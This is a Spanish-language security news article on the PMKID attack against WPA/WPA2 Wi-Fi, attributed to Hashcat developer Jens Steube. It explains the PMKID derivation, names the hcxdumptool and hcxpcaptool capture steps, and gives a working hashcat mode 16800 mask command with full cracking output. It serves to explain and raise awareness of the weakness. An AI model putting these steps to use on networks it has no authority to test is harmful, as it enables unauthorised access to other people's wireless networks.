Investigador de seguridad detecta nuevo método para crackear password en WPA/WPA2



Una nueva técnica ha sido descubierta para facilitar la recuperación del identificador de clave maestra por pares (PMKID) desde un router con seguridad WPA/WPA2, la cual serviría para poder crackear la password del Wifi de un router con este tipo de seguridad. A diferencia del método anterior de crack en el cual se tenía que esperar a que alguien se intentara autenticar contra la Wifi para poder capturar todo el proceso de autenticación, este nuevo método solo requiere que un único marco EAPOL sea solicitado por el atacante para obtener la información.

Según informa el investigador Jens "atom" Steube, desarrollador del proyecto HashCat, este nuevo ataque fue descubierto accidentalmente al momento de estudiar el cómo realizar crack de contraseñas en WPA3. De acuerdo a lo indicado por Steube, este nuevo metodo funciona contra todos los routers que utilicen redes 802.11i/p/q/r con roaming habilitado.

El RSN IE es un campo opcional que puede ser encontrado en los marcos de administración del 802.11, y una de sus capacidades es portar el PMKID


El valor de PMKID se calcula usando HMAC-SHA sobre concatenación de la llave PMK, el nombre PMK, la mac del Access Point, y la mac de la estación de trabajo.

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Como PMK es similar a EAPOL, se transforma en un vector de ataque ideal, ya que ahí se encuentra toda la información que se requiere del AP.

Ahora con este método el atacante solo debe de intentar autenticarse contra la red, para obtener acceso al PMKID y así intentar crackear la password de la red Wireless.

Para reproducir el ataque, por medio de la herramienta hcxdumptool, realiza el dump de la información de negociación y la almacena en un archivo pcapng. Posterior a esto, utiliza una herramienta de formateo de texto, para que el archivo de captura logre ser interpretado por la herramienta hcxpcaptool.

Posteriormente se puede utilizar la herramienta hashcat, para poder obtener el hash donde se oculta la contraseña.


Code:
$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

Output:

Quote:hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a
Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?lt! [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*.....:  1641.3 kH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 66846720/308915776 (21.64%)
Rejected.........: 0/66846720 (0.00%)
Restore.Point....: 0/11881376 (0.00%)
Candidates.#1....: hariert! -> hhzkzet!
Candidates.#2....: hdtivst! -> hzxkbnt!
Candidates.#3....: gnxpwet! -> gwqivst!
Candidates.#4....: gxhcddt! -> grjmrut!
HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018

Este método no hace que sea mas fácil descifrar la contraseña de la red inalambrica, si no que hace que sea más fácil atacar el hash para obtener la contraseña del wireless.

Mientras que el nuevo método de Steube hace que sea mucho más fácil acceder a un hash que contiene la clave precompartida que hash aún necesita ser descifrado. Este proceso puede llevar mucho tiempo dependiendo de la complejidad de la contraseña.

A medida que ciertos fabricantes crean un PSK a partir de un patrón que se puede determinar fácilmente, se puede alimentar a un programa como Hashcat para que sea más fácil descifrar la contraseña inalámbrica.